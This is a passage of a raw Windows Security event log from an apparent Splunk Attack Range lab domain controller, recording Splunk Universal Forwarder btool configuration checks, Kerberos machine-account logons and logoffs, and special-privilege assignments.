	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11e8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250166
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250165
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1194
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11a8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11b4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250163
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250162
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1180
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1158
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250161
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1164
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250160
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1164
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250159
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x100A04

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250158
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x100A04
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64401

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250157
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x100A04

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250156
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1009A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250155
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1009A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64400

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250154
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1009A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250153
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10093D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250152
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10093D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64399

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250151
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10093D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250150
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1008DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250149
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1008DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64398

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250148
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1008DC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250147
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x113c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250146
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1148
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250145
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1240
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11f4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
